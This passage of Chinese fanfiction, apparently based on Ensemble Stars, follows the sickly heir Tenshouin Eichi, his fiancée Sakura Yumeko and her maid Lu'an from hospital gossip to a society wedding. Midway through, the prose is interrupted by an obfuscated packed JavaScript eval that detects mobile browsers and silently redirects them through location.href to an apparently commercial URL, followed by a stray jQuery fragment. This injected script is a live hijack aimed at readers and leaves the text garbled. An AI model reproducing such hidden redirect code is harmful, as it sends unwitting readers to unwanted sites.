“不过话说回来,大小姐和天祥院少爷,那才是正经的婚约呢。每次看他们两个在一起,虽然总觉得气氛有点怪,但一个活泼一个沉稳,相貌家世都般配,其实挺养眼的。”
这时,一位年长些的医生端着茶杯加入讨论,带着过来人的语气:
“豪门联姻罢了,表面功夫而已。你们没见他们俩每次见面,那笑容底下都像藏着刀子?我倒是觉得,那位大小姐身边的女仆,叫什么……露桉的,才不简单。”
他推了推眼镜,
“那气场,那眼神,寸步不离地守着大小姐。你们不觉得,那种沉默的守护,比那种吵吵闹闹的婚约更有看头吗?”
最开始说话的护士忍不住反驳:“可是医生,之前不是还有个橙色头发、长得像女孩子的男孩受伤了,还是我接手的,好像叫……月永雷欧是不是?哇,Knights的偶像们都好好看,大小姐跟他们在一起的时候,感觉整个人都在发光!说不定……”
“打住打住!”她的同伴笑着打断她,“你这脑洞也太大了吧!照你这么说,之前来探病的那个黑色头发、总是睡不醒的朔间家的,还有那个特别挑剔的濑名家的,还有一个跟大小姐闺蜜一样的黄毛,不都成了候选了?”
年长的医生摇摇头,喝了口茶:“你们这些年轻人啊……偶像剧看多了。要我说,最靠谱的还是那个女仆。你看,无论大小姐是来看未婚夫,还是带着别的少爷朋友,那个露桉永远都在一步之外的地方守着,那才叫绝对领域。”
“但是天祥院少爷那边……”年轻护士还不死心,“我看他每次虽然嘴上不说,但大小姐来的时候,他眼神都会亮一下呢!就是那种……嗯……‘只有我能应付这个麻烦精’的独占欲!”
“得了吧,那也可能是‘怎么又是这个麻烦精’的头痛!”
茶水间里响起一阵压抑的轻笑。
“好了好了,都别瞎猜了。”
护士长严肃的声音传来,讨论立刻停止。
“VIP病人的隐私不是我们该议论的。不过……”她顿了顿,自己也忍不住露出一丝笑意,“佐仓大小姐每次来,确实都挺热闹的。赶紧干活去!”
医护人员们散开,但关于佐仓梦子身边围绕着骑士、女仆、未婚夫与偶像伙伴的种种猜测与调侃,依旧在这些白色的角落里,悄悄地、不断地滋生和流传,为严谨的医院日常,增添了一抹充满人情味的粉色遐想。
白色牢笼与闯入的斑斓
天祥院英智靠在病床上,窗外是流动的云和偶尔飞过的鸟。他的目光落在窗外,却又仿佛穿过了它们,投向更遥远、更无法触及的地方。
医院。这个充斥着消毒水气味、一片纯白的地方,是他从小待到大的“牢笼”。体弱多病的身躯像一道无形的枷锁,将他与外面的世界隔开。他通过书籍、网络、报告了解世界,但那终究是隔着一层的、冰冷的信息。
(不够。)
他看着窗外枝头蹦跳的麻雀。
(在外面呼吸到的空气,感受到的阳光,还是太少了。)
(时间……总是不够。)
一种深沉的疲惫感有时会如同潮水般将他淹没。当病痛反复发作,当身体沉重得连抬手都困难时,一个黑暗的念头会悄然浮现:
(如果……就这样干脆利落地结束,是不是反而是一种解脱?)
(不再需要计算,不再需要挣扎,不再需要……永远被困在这片白色里。)
每当这种念头如同毒蛇般缠绕上心头,几乎要将他拖入深渊时——
总有一抹色彩会蛮横地闯进来。
那是一抹飞扬的、带着生命力的黑色长发。
佐仓梦子。
这个名义上的“未婚妻”,像一道不合时宜的、过于强烈的光,不由分说地刺破他周围的沉寂与灰暗。
她在他面前,从来不加掩饰。不会用那种怜悯或小心翼翼的眼神看他,不会刻意回避“健康”、“未来”这类词汇。她只会兴致勃勃地,甚至有些霸道地,将她觉得“有趣”的一切,强塞给他。
(“英智!你看这个角色!超帅的对吧!”)
(“快来玩这个游戏!我带你!”)
(“上帝已死!我们就是自己的神明!”)
(“原神,启动!”)
那些他从未接触过的二次元知识、游戏梗、热血台词……像一场密集的、混乱的流星雨,砸在他原本秩序井然、充满算计的脑海里。他不想听,她却总有办法让他听到;他试图用理性分析,她却用纯粹的热情将他的分析融化。
(真是个……吵闹的家伙。)
(完全不看气氛。)
(但是……)
但是,正是这份吵闹,这份不顾一切的“强塞”,奇异地驱散了他心中那片冰冷的黑暗。
她让他看到,原来世界还可以如此鲜活、如此胡闹、如此充满不着边际却又闪闪发光的可能性。她就像在他苍白的世界里,硬生生用蜡笔涂满了各种夸张而明亮的颜色。
(外面世界的精彩,我或许无法用双脚去丈量。)
(但这个女孩……却用一种最不讲理的方式,把那个世界的碎片,直接搬到了我的病床前。)
天祥院英智微微闭上眼,窗外传来模糊的鸟鸣。那个“干脆死去”的念头,在想起佐仓梦子那张兴致勃勃安利着什么的脸时,竟悄然褪色了几分。
(或许……)
(再活久一点,看看她下次又会带来什么离谱的东西……)
(也不错。)
这抹强行闯入的、斑斓的“噪音”,成了他在这片白色孤岛中,对抗虚无的、最意想不到的武器。
白衣下的污垢与照进黑暗的镜子
天祥院英智靠在枕头上,指尖无意识地捻着雪白的被角。病房里很安静,只有仪器规律的滴答声,但这安静却无法平息他内心的喧嚣。
(算计、阴谋、利益……)
这确实是他最熟悉的语言,是他赖以生存、也是他用来“改造”梦之咲的工具。为了达成那个他认为“正确”的未来,他将无数人视为棋子,冷静地权衡、布局,甚至不惜碾碎一些看似美好的东西。他从不觉得这有什么问题,这是达成目的最有效率的方式。
直到佐仓梦子出现。
她不像其他人那样,要么畏惧他的身份和手段,要么被他展现的“善意”表象所迷惑。她总是能一眼看穿他温和笑容下的冰冷内核,然后用最直接、最不加掩饰的话语刺过来。
尤其是那次,她因为他针对某个组合所采取的、不够光彩的手段而与他激烈争执。她气得浑身发抖,那双总是闪烁着活泼光亮的眼睛瞪得大大的,里面盛满了纯粹的愤怒与……失望。
“为什么对别人也就算了?你身边的同学,那些把你当作‘朋友’的人!你也用如此肮脏的手段?!”
她的声音带着哭腔,却又异常尖锐。
“我恨你,天祥院英智!”
“长得那么好看,却是……衣冠禽兽!”
“衣冠禽兽”。
这四个字,像一把烧红的匕首,狠狠捅进了他看似无坚不摧的心脏。那一刻,他脸上惯常的笑容彻底僵住,一种前所未有的冰冷感从脚底窜起。
(衣冠禽兽……)
他低头看着自己修长、干净的手指,这双手签署过无数文件,优雅地执过棋子,也……在无形中推动过许多阴暗的交易。他抬头,望向窗外,玻璃上模糊地映出他精致却苍白的脸孔。
(是啊,这副皮囊确实好看,是父母赐予,也是天祥院家的招牌之一。)
(但皮囊之下呢?)
他第一次如此清晰地看到自己灵魂深处的污浊与算计。那些他习以为常的权谋手段,在梦子那纯粹得像水晶般的价值观对照下,显得如此丑陋不堪。
(她恨我……)
这个认知让他感到一阵尖锐的疼痛,远比病发时的身体痛苦更难忍受。他并不在意大多数人的恨,但佐仓梦子的恨……不一样。因为她见过他最不堪的样子(卧病在床的脆弱),也见过他最“非人”的样子(精于算计的冷酷),却依然会因为他对待他人的方式而感到愤怒和憎恨。
她就像一面过于干净的镜子,强行照出了他白衣之下沾满的污垢。
(可是……如果不用这些手段,我又该如何实现目标?)
(这个腐朽的学院,这个僵化的体系……)
(梦想?那种温暖又脆弱的东西,真的能改变什么吗?)
他握紧了拳,指节泛白。内心充满了矛盾与动摇。一方面,他根深蒂固地相信自己的方法论是必要之恶;另一方面,梦子的指责和那双失望的眼睛,又让他第一次对自己坚信的道路产生了深刻的怀疑。
(佐仓梦子……)
(你为什么要让我看到这些……)
(又为什么……要让我在意你的“恨”……)
他闭上眼,将翻涌的情绪强行压下。但“衣冠禽兽”这四个字,连同梦子当时那张愤怒而悲伤的脸,已经如同烙印,深深地刻在了他的心底,成为他完美面具上一道无法忽视的、细微却致命的裂痕。
完美的“姐姐”与不堪的“我”
天祥院英智静静地注视着病房里正在发生的、那幅堪称“温馨”的画面。佐仓梦子正微微俯身,细心地替朱樱司整理着有些歪斜的领结,脸上洋溢着毫无阴霾的、带着点小骄傲的灿烂笑容,语气轻快地说着:“司糖,这样就好啦!等会儿出去要一直保持最帅的样子哦!”
朱樱司则乖巧地点头,紫罗兰色的眼眸里充满了全然的信赖与亲近。
(呵……)
英智的内心发出一声几不可闻的冷笑,但这冷笑之下,翻涌着的却是更为复杂的、连他自己都难以厘清的情绪。
(明明在我面前,像个张牙舞爪的小兽,什么难听的话都敢说,什么“衣冠禽兽”之类的词都能毫不犹豫地扔过来。)
(可一到朱樱司面前,就立刻披上了完美无瑕的“姐姐”外衣。)
他看得分明。梦子在朱樱司面前,刻意收敛了所有的尖锐、所有的负面情绪,甚至是对他这个“未婚夫”的敌意。她展现出的,只有阳光、温暖、可靠和无限的包容。她不允许自己任何“难看”的一面——无论是愤怒、悲伤,还是与他争执时的刻薄——被那位红发少年窥见分毫。
(为什么?)
(因为他是你需要保护的“弟弟”?因为你想在他心中维持一个绝对美好的形象?)
(还是因为……你本质上,也认同那种纯粹的美好,并且不惜一切代价去守护它?)
这个认知让天祥院英智感到一种微妙的刺痛。仿佛他所在的这个充斥着算计与阴暗的角落,是被梦子彻底划定为“不能让小司看到”的、污秽的禁区。而她展现给朱樱司的,才是她心中真正值得呈现的、光明的世界。
(真是……偏心啊,佐仓梦子。)
(对我就能肆无忌惮地展现你的厌恶和批判,对他却连一丝阴影都舍不得沾染。)
他看着她对朱樱司温柔叮嘱的样子,那画面美好得刺眼。他清楚地知道,梦子并非虚伪,她对朱樱司的关爱是真实的。但正是这份真实,反而更深刻地映照出他在她心中的位置——一个可以让她卸下所有美好伪装、坦然暴露尖锐与不堪的、特殊却又可憎的存在。
(一边恨着我,骂着我,一边却又在我面前,毫无顾忌地展示着你想要守护的“纯粹”。)
(佐仓梦子,你究竟是想用他的“美好”来讽刺我的“肮脏”,还是……)
还是无意识中,将他这个“衣冠禽兽”也当成了某种可以承受她所有负面情绪的、扭曲的“自己人”?
英智移开视线,不再去看那幅姐友弟恭的和谐画面。心底那片冰冷的湖面,因这复杂的思绪,漾开了一圈圈混杂着自嘲、不甘与一丝极其隐秘的、连他自己都不愿承认的落寞的涟漪。
她为朱樱司构筑了一个无菌的温室,却将他天祥院英智,独自留在了风雨交加、泥泞不堪的真实世界里。
“英子酱”的暴击与反杀
天祥院英智正沉浸在自己那套关于“纯洁与污秽”、“偏心与特殊”的复杂思绪中,忽然被梦子这声刻意捏着嗓子、甜得发腻的呼唤猛地拉回了现实。
“英子酱~我亲爱的宝贝~”
这称呼如同一道惊雷,把他脑子里那些弯弯绕绕的哲学思辨瞬间劈得外焦里嫩。他猛地抬眼,就看到佐仓梦子不知何时已经凑到了他床边,双手托腮,眨巴着大眼睛,脸上挂着一种极其做作、明显不怀好意的“关切”笑容。
“怎么?看着我跟别人好忽略你,你难受了对吧?吃醋了?”
“……”
天祥院英智感觉自己的额角有青筋在欢快地跳动。他清楚地看到梦子眼底那恶作剧得逞般的狡黠光芒,她就是故意的,用这种肉麻到极点的方式恶心他,报复他刚才的沉默和之前的种种。
一股混杂着恶心、荒谬和极度不适的热流直冲头顶,让他苍白的脸颊都泛起了一丝诡异的红晕(纯粹是气的)。他活了这么多年,算计过无数人,经历过无数风浪,还是第一次被人用如此……低级又精准的方式挑衅到破防的边缘!
他深吸一口气,试图用惯常的冷静压下这股躁动,但失败了。那双碧蓝的眼眸中冰层碎裂,锐利的光芒几乎要化为实质射出来。
“……佐仓梦子,”他的声音从牙缝里挤出来,带着一丝不易察觉的颤抖(气的),“把你那套笑容收起来。”
“哎呀呀,英子酱害羞了?”梦子反而更来劲了,变本加厉地往前凑了凑,几乎要贴上他的脸,“承认吧,你就是嫉妒小司能享受到姐姐温柔体贴的关爱!来来来,姐姐也疼疼你~”说着还作势要伸手去摸他的头。
“够了!”
天祥院英智终于忍无可忍,猛地抬手(虽然没什么力气)隔开了她伸过来的魔爪,一向完美的表情管理彻底崩塌,脸上是毫不掩饰的嫌恶与羞恼。
“谁是你‘宝贝’!谁要吃那种无聊的醋!离我远点!”他几乎是低吼出来,胸口因为情绪激动而微微起伏。
看着天祥院英智这副炸毛的样子,梦子心满意足地收回手,哈哈大笑起来,刚才那点故意装出来的甜腻瞬间消失无踪,恢复了平时那副嚣张又活力的模样。
“哈哈哈哈!这就对了嘛!摆着那张死人脸给谁看呢!还是这样生气勃勃的样子比较像个人!”
朱樱司在一旁看得目瞪口呆,完全搞不懂事情怎么会发展成这样。露桉则默默地在心里更新记录:「大小姐使用精神攻击‘亲密称呼’,效果显着,成功引爆天祥院少爷情绪。结论:此手段对天祥院少爷特攻。」
天祥院英智看着梦子笑得前仰后合的样子,气得别过脸去,不想再看她。但内心深处,那股因胡思乱想而凝结的郁气,竟在她这番胡搅蛮缠的“恶心”攻势下,莫名其妙地消散了大半。
(这个……不可理喻的女孩!)
(……但至少,比刚才那副虚伪的“姐姐”模样,要顺眼那么一点点。)
他绝不会承认,比起被她小心翼翼地隔离在“美好”之外,这种被她肆无忌惮地挑衅、甚至恶心着的状态,反而让他感到一种扭曲的、真实的“存在感”。
婚礼请柬与无法拒绝的舞台
梦子将朱樱司送到医院门口,仔细叮嘱了几句,看着红发少年坐上车离开,这才转身返回病房准备拿自己的东西告辞。
她刚推开病房门,就看到天祥院英智已经重新坐直了身体,脸上恢复了平日里那副波澜不惊的温和表情,只是指尖夹着一个与病房环境格格不入的、极其精致厚重的烫金信封。
“要走了?”英智抬眼看向她,语气平淡。
“嗯哼,不然留在这里看你这张讨人厌的脸吗?”梦子习惯性地回怼,走过去拿起自己的包,顺便指了指放在床头柜上的几个精美礼盒,“喏,家里送来的补品,分你一点,别说我不照顾‘未婚夫’。”
英智的视线在补品上停留了一瞬,眼底闪过一丝极快的复杂情绪,但快得让人无法捕捉。他没有道谢,只是将手中的信封轻轻推向梦子所在的方向。
“这个,你看看。”
梦子疑惑地接过,指尖触碰到信封那略带纹理的厚实纸张时,心里就隐约有了猜测。她打开信封,抽出了里面那张同样做工考究的请柬。展开,目光迅速扫过上面的名字、家族徽章以及婚礼日期。
是某个实力雄厚的旧贵族家的婚礼。
她的眉头几不可查地蹙了一下。
天祥院英智的声音适时响起,平稳得没有一丝起伏,却带着不容置疑的意味:
“佐仓梦子,这场婚礼,你的父亲与母亲已经知晓,并明确要求——你与我一同出席。”
他刻意顿了顿,碧蓝的眼眸直视着她,仿佛在观察她的反应,缓缓补充道:
“以‘未婚夫妻’的身份。”
空气似乎凝滞了一瞬。
梦子捏着请柬的手指微微收紧。她当然明白这意味着什么。这不仅仅是一场社交活动,更是佐仓家与天祥院家联姻关系的又一次公开示众,是必须完成的家族任务。她个人的喜怒,在这张小小的请柬面前,无足轻重。
她抬起头,对上英智的视线,脸上扯出一个混合着嘲讽和认命的假笑:
“呵……真是隆重的邀请啊。看来我又得陪着英智少爷,去演一场宾主尽欢的戏了?”
英智微微颔首,回应着她的假笑,语气依旧温和,却带着一丝不易察觉的疏离与公式化:“希望我们能像以往一样,‘配合默契’。”
梦子将请柬塞回信封,随手扔进自己的包里,动作带着点不易察觉的烦躁。
“知道了。”她转身朝门口走去,语气听起来满不在乎,“到时候我会准时出现的,不会给佐仓家丢脸。”
走到门口,她握住门把手,却没有立刻推开,背对着英智,声音低了几分,带着一种近乎疲惫的妥协:
“补品记得吃,别浪费了。”
说完,她不再停留,拉开门走了出去。
病房门轻轻合上,隔绝了内外两个世界。
天祥院英智看着那扇门,良久,才将目光移向床头柜上的补品。他伸出手,指尖轻轻拂过礼盒光滑的表面,眼中情绪翻涌,最终化为一片深沉的、化不开的幽暗。
又一场无法拒绝的、属于“天祥院英智”与“佐仓梦子”的演出,即将开场。而舞台,早已为他们准备好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784644|190069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
华服下的刀光剑影
婚礼的会场奢华如宫殿,水晶灯折射着璀璨光芒,衣香鬓影间流淌着优雅的弦乐。在这片浮华之中,佐仓梦子与天祥院英智的出现,无疑吸引了许多目光。
梦子身着一袭量身定制的香槟色礼服,裙摆缀着细碎的晶石,行走间流光溢彩。她难得地将长发盘起,露出优美的脖颈线条,几缕刻意垂下的发丝又平添了几分灵动。她脸上化着精致的妆容,唇角维持着恰到好处的微笑,俨然一位无可挑剔的名门闺秀。
而她身旁的天祥院英智,同样身着剪裁完美的黑色礼服,金色短发一丝不苟,碧蓝的眼眸在灯光下显得格外深邃。他身姿挺拔,尽管脸色仍有些许苍白,但那份与生俱来的贵气与从容,让他如同从中世纪画卷中走出的王子。
两人挽着手臂,看上去宛如一对璧人,是天造地设的未婚夫妻。
然而,只要稍微靠近,便能听到他们之间低语着的、与这和谐画面格格不入的对话。
“哼,没想到你打扮起来,人模狗样的嘛。”梦子维持着微笑,从齿缝里挤出声音,目光直视前方,向走过的宾客点头致意。
“彼此彼此。”英智同样面带完美的温和笑容,微微侧头,声音轻柔,“梦子小姐今日总算有了几分符合‘佐仓’之名的仪态,倒是让我刮目相看。希望这份‘端庄’能维持得久一些。”
“放心,绝对比你那副‘病弱贵公子’的伪装持久。”梦子反唇相讥,同时不动声色地想抽回自己的手,却被英智更紧地按住。
“别动,很多人看着呢,我‘亲爱的’未婚妻。”英智笑意加深,语气却带着不容抗拒的力度,“你也不想明天流传出‘佐仓与天祥院关系破裂’的传闻吧?”
“啧,虚伪。”梦子放弃挣扎,任由他挽着,脸上的笑容越发甜美,说出来的话却像刀子,“拉着你的手,我感觉像握着一块冰镇过的玉石,又冷又硬。”
“总好过梦子小姐您,手心出汗,是紧张了吗?”英智从容回应,甚至还体贴地调整了一下姿势,让她靠得更近些,在外人看来亲密无间,“毕竟,在这种场合失仪,丢的可是我们两家的脸。”
“呵,多谢关心。我只是在担心,万一您这‘脆弱’的身板待会儿体力不支,我是该直接叫救护车,还是先给您做人工呼吸?”梦子眨着无辜的大眼睛,语气关切,眼底却满是挑衅。
“不劳费心。倒是梦子小姐,等会儿致辞环节,可别像平时一样,说出什么‘原神,启动’或者‘上帝已死’之类的惊人之语。”英智微笑着,不忘“贴心”提醒。
“那您最好祈祷我不会,否则我就告诉全场宾客,这是我的‘未婚夫’天祥院英智先生最爱的游戏和哲学观点!”
他们就这样,挽着彼此,面上是无可挑剔的优雅与登对,嘴里却进行着一场无声的刀光剑影。每一句看似亲密的低语,都是一次精准的打击;每一个默契配合的动作,都暗藏着相互较劲的力道。
他们是最了解彼此弱点的对手,也是最熟悉这场社交舞步的搭档。在这场必须演下去的戏里,他们用独特的方式,维系着一种扭曲的、仅存于他们之间的“平衡”与“真实”。华服与珠宝掩盖不了他们之间的暗流汹涌,反而将这矛盾衬托得更加鲜明而迷人。
红尘中的静默执棋者
在这场极尽奢华的婚礼盛宴中,露桉同样身着剪裁得体的深灰色西装套裙,发髻挽得一丝不苟,静立在稍远处的廊柱旁。她不像其他宾客那样沉浸于寒暄与欢笑,更像一位潜入繁华深处的观察者,冷静的目光始终追随着那对正在人群中周旋的“未婚夫妻”。
她看着大小姐脸上那无懈可击却暗藏锋芒的笑容,看着天祥院少爷温和面具下偶尔闪动的锐利眼神,看着他们彼此挽着手臂,指尖却都因暗自用力而微微发白。她心中了然,这又是一场属于他们的、无声的战争。
当梦子与英智按照流程,走向主家表示祝贺时,露桉动了。她如同早已计算好轨道的卫星,无声而精准地切入人群,手中不知何时已多了数个设计精巧、厚薄不一的深红色信封——那是中式婚礼中象征祝福与心意的“红包”。
她并未直接递给新人,而是娴熟地、不着痕迹地将其交到新娘身边几位显然是至亲或贴身助理的人手中。她的动作流畅自然,带着一种古老的、东方式的含蓄与郑重,低声用清晰的中文说道:“一点心意,恭贺新禧,祝愿新人百年好合。”
她的用词精准,语调平稳,仿佛深谙此道。对方接过那分量不轻的红包,感受到其中蕴含的尊重与诚意,脸上立刻露出了更为真诚的笑容,连连道谢。
露桉微微颔首,便悄然退开,重新隐没在人群的阴影里,仿佛从未出现过。她深知,在这场融合了东西方元素的婚礼中,这份遵循新娘家乡传统的“红包”,比任何昂贵的礼物都更能体现佐仓家的细致与尊重,也更能为在前台“演戏”的大小姐,铺平道路,减少不必要的麻烦。
她看着梦子与英智在人群中虚与委蛇,看着他们用完美的表演维系着两家的体面,而自己,则在他们看不见的地方,用另一种方式,为他们扫清着潜在的障碍。
大小姐在台前“征战”,而她,永远是那个在幕后确保舞台稳固、道具齐全的最终保障。无论是切西瓜的利刃,还是递出的红包,都只是她守护的方式。此刻,她静立一旁,如同一位执棋者,冷静地注视着棋盘上的风云变幻,并随时准备落下那至关重要的一子。这喧嚣的婚礼,于她而言,不过是另一个需要确保万无一失的“任务现场”。而那对相互针对的未婚夫妻,或许并未察觉,他们能如此“安心”地争斗,正是因为有这样一道沉默的影子,为他们挡去了许多世俗的尘埃。
红酒“意外”与优雅反击
就在梦子短暂脱离天祥院英智身边,独自走向餐台准备取些饮料时,一个穿着粉色礼裙、容貌娇俏却眼神不善的女孩拦在了她面前。
那女孩上下打量着梦子,嘴角勾起一抹充满敌意和嫉妒的弧度,声音不大,却足以让周围的几个人听见:
“哼,佐仓家的……和天祥院哥哥站在一起,接受大家的注目礼,你是不是觉得自己特别了不起啊?”她的语调甜得发腻,话语却像淬了毒,“不过是靠着家族联姻才能站在他身边的可怜虫罢了,真以为自己是正牌女主角了?天祥院哥哥心里指不定怎么嫌弃你这吵吵闹闹、满脑子奇怪东西的女人呢!”
周围的空气瞬间安静了几分,一些目光若有若无地投射过来。
梦子拿着酒杯的手顿住了。她缓缓转过身,脸上那标准的社交微笑没有丝毫变化,甚至更加明媚了几分。她看着眼前这个不知天高地厚的女孩,眼神里没有愤怒,只有一种近乎怜悯的冰冷。
“哦?”梦子轻轻晃了晃杯中深红色的液体,声音清晰而平静,“你说得对,我确实没什么了不起的。”
她向前迈了一小步,拉近了与那女孩的距离,脸上的笑容依旧完美。
“不过呢,”她话音一转,语气带着一丝天真的疑惑,“我至少知道,在别人的婚礼上,要保持基本的礼仪。而不是像某些人一样,像个没断奶的孩子,到处‘哥哥、哥哥’地叫,还学不会管好自己的嘴巴。”
那女孩脸色瞬间涨红:“你——!”
她的话还没说完,梦子拿着酒杯的手腕似乎“不经意”地一软——
哗啦!
整整一杯深红色的酒液,精准地、毫不浪费地全部泼洒在了女孩那身娇嫩的粉色礼服前襟上。深红的酒渍迅速晕开,如同一个丑陋的烙印,毁了整套昂贵的装扮。
“啊呀!”梦子发出一声轻呼,语气带着十足的“歉意”,脸上却看不出半分愧疚,只有一丝狡黠的笑意,“真是不好意思,我手滑了。”
她微微歪头,看着对方惊愕又狼狈的样子,慢条斯理地补充道,每个字都咬得格外清晰:
“专门对……脚滑(狡猾)的人,有特别的叫醒服务。看来效果不错,你现在看起来清醒多了。”
那女孩呆立当场,看着自己一片狼藉的礼服,感受着周围投来的各种目光(其中不乏幸灾乐祸),气得浑身发抖,眼泪都在眼眶里打转,却一句话也说不出来。
梦子从容地将空酒杯放在路过的侍者托盘上,从手包里抽出一张丝质手帕,优雅地擦了擦其实并未沾染酒渍的指尖,仿佛刚才只是完成了一件微不足道的小事。
“下次想挑衅之前,”她最后瞥了那女孩一眼,声音不高,却带着不容置疑的警告,“先掂量掂量自己,够不够格。”
说完,她不再理会那个几乎要哭出来的挑衅者,转身,仪态万方地朝着天祥院英智的方向走去,裙摆摇曳,背影挺拔,仿佛一位刚刚结束了一场轻松热身赛的女王。
不远处的露桉将这一幕尽收眼底,眼中闪过一丝极淡的赞许,随即又恢复了古井无波的状态。而同样注意到这边骚动的天祥院英智,看着梦子毫发无伤、甚至更显锋芒地走回来,嘴角几不可查地向上弯了一下。
(果然,还是这副张牙舞爪的样子,更符合她的本性。)
角落里的“迁怒”与纵容
梦子一路维持着优雅得体的微笑,直到强拉着天祥院英智穿过人群,来到宴会厅外一处相对安静的露台角落。一停下,她立刻甩开他的手臂,脸上那完美的面具瞬间碎裂,取而代之的是毫不掩饰的愠怒。
“都怪你!”她气鼓鼓地瞪着他,声音压低了,却带着十足的指控意味,“长着这么一张招蜂引蝶的脸,到处引人注意!害得我被那种没脑子的蠢货挑衅,心情都糟糕透了!”
晚风吹拂着她的发丝,带着凉意,却吹不散她心头的烦躁。她想起刚才那杯泼出去的红酒,虽然当场报了仇,但被无端嘲讽的憋屈感依旧萦绕不去。而这一切的源头,在她看来,毫无疑问就是身边这个蓝颜祸水。
天祥院英智被她这毫无道理的迁怒弄得怔了一下,随即有些哭笑不得。他看着眼前因为生气而脸颊微红、眼睛瞪得圆圆的梦子,像只炸毛的猫咪,与方才那个冷静泼酒、言语犀利的形象判若两人。
他还没来得及开口反驳,就见梦子自顾自地转过身,背对着他,用带着命令的口吻说道:
“我不管!都是你这张脸惹的桃花债,害我受气!现在,给我捶肩!就当是赔罪了!”
天祥院英智:“……”
他看着她纤细的背影和微微紧绷的肩膀,沉默了片刻。以他的身份和性格,从来只有别人伺候他,何曾做过这种……近乎仆役的事情。这要求简直荒谬至极。
然而,或许是今晚的月色太过朦胧,或许是刚才她应对挑衅时那副维护(虽然方式激烈)了他们共同体面的举动取悦了他,又或许,仅仅是因为不想再听她继续吵闹下去……
他几不可闻地叹了口气,抬起手,修长的手指带着些许凉意,隔着礼服的布料,不轻不重地落在了她的肩膀上。
动作略显生疏,力道却控制得恰到好处。
梦子原本只是习惯性地胡搅蛮缠,根本没指望这位大少爷会真的照做。当那带着微凉体温的指尖触碰到她时,她身体几不可查地僵了一下,随即,一股难以言喻的、混合着惊讶和一丝奇异满足感的情绪涌上心头,竟让她一时忘了继续发脾气。
露台上很安静,只有远处隐约传来的音乐声和风吹过树叶的沙沙声。他沉默地履行着这荒谬的“惩罚”,她则背对着他,感受着肩上那不轻不重的力道,之前的怒火莫名其妙地消散了大半。
(哼……算你还有点良心。)
(……手法居然还不错?)
天祥院英智看着她逐渐放松下来的肩膀,指尖传来的温热触感让他有些许不自在,但看着她不再张牙舞爪,竟也觉得……不算太坏。
这诡异又和谐的一幕,恰好被不放心跟过来查看的露桉收入眼中。她停下脚步,隐藏在廊柱的阴影里,平静地记录下:「大小姐成功对天祥院少爷实施‘肢体劳动惩罚’,少爷未表示明确反抗。当前氛围:异常和谐。持续观察中。」
婚礼前的秘密行动
梦子的气来得快,去得也快。等那点因无端挑衅而起的烦躁被晚风和某人算不上熟练的“捶肩服务”安抚下去后,她便拉着天祥院英智,又慢悠悠地晃回了婚礼准备区的休息室。
距离仪式正式开始还有好一段时间,休息室里已经坐了不少等待的宾客,三三两两地低声交谈着。梦子挨着英智坐下,目光立刻就被茶几上摆放的精致喜糖、瓜子和点心吸引了。
她毫不客气地抓了一把瓜子,又挑了几颗包装可爱的喜糖塞进英智手里(动作自然得像是在分发任务道具),自己则一边嗑着瓜子,一边眼神开始不安分地瞟向自己的手包。
很快,她按捺不住,悄悄摸出了手机,手指熟练地划开屏幕,点开了那个熟悉的图标。
“英智,”她头也不抬,用气声指挥,同时用胳膊肘轻轻碰了碰他,“帮我挡一下这边,别让人看见。”
天祥院英智看着手里被硬塞过来的、与他形象格格不入的喜糖,又看了看身边已经迅速沉浸入提瓦特大陆的梦子,额角隐隐作痛。他堂堂天祥院家的继承人,竟然要在这种场合给人当“人肉遮挡板”?
他刚想开口,梦子已经转向另一侧,对如同影子般伫立在沙发后的露桉发出了指令:“露桉,你挡这边。”语气是全然信赖的理所当然。
“是,大小姐。”露桉低声应道,不着痕迹地调整了站姿,宽阔的肩背和深色西装确实构成了一道绝佳的视觉屏障。
梦子满意地点头,眼睛紧盯着屏幕,手指飞快操作,最后不忘补充:“嗯嗯,有人过来就碰我一下,提醒我。”
于是,在这衣香鬓影、即将见证神圣婚礼的休息室里,出现了这样一幕奇景:
衣着华贵的佐仓大小姐,微微蜷缩在沙发里,低着头,神情专注,指尖在手机屏幕上激烈飞舞(偶尔还伴随着极轻微的技能音效,被她用手捂住了扬声器)。
她身旁,是姿态优雅、容貌出众的天祥院少爷。他面上维持着无可挑剔的温和微笑,仿佛只是在闭目养神,实则身体微微倾斜,巧妙地利用角度阻挡了大部分来自右侧的视线,手中还无意识地捏着几颗与她画风迥异的喜糖。
而她身后,那位气质冷峻、一看就非比寻常的女仆经纪人,则像一座沉默的堡垒,隔绝了左侧所有的窥探。
三人形成了一个稳固的、心照不宣的“游戏保护同盟”。
天祥院英智感受着周遭偶尔投来的、对他和梦子这“亲密”姿态的注目礼,内心充满了荒谬感。他这辈子都没做过这么……不优雅、不严谨的事情。可当他微微垂眸,看到梦子因为抽到某个角色而瞬间亮起的侧脸,和那拼命忍住才没发出的小小欢呼动作时,那到了嘴边的斥责,终究还是化成了一声几不可闻的叹息,消散在空气里。
(罢了……)
(总比她再去泼别人一身红酒,或者大声宣讲什么哲学理论要好得多。)
他认命地调整了一下坐姿,将她遮挡得更严实了一些,甚至在她因为操作失误而小声吸气时,下意识地帮她看了一眼走廊方向,确认无人靠近。
露桉将这一切尽收眼底,面无表情地想:「天祥院少爷对大小姐的‘违规行为’容忍度提升中。当前协作模式:高效且默契。」
盛宴下的审视与自问
婚礼的序曲终于奏响,梦子、英智和露桉回到了灯火辉煌的主会场,在指定的席位落座。巨大的水晶灯下,新郎新娘站在鲜花簇拥的仪式台上,脸上洋溢着无可挑剔的幸福笑容。演讲人正用深情并茂的语调,讲述着两人相识相知的浪漫故事,引得台下宾客不时发出会心的轻笑或感动的低叹。
梦子端坐着,目光落在那一对璧人身上。新郎英俊稳重,新娘美丽娇羞,任谁看了都要赞一声天作之合。现场的每一个细节都完美无瑕,气氛热烈而感人。
然而,梦子的内心却如同被投入石子的湖面,漾开了一圈圈怀疑的涟漪。
(他们看起来……真幸福啊。)
(但是,这幸福是真的吗?)
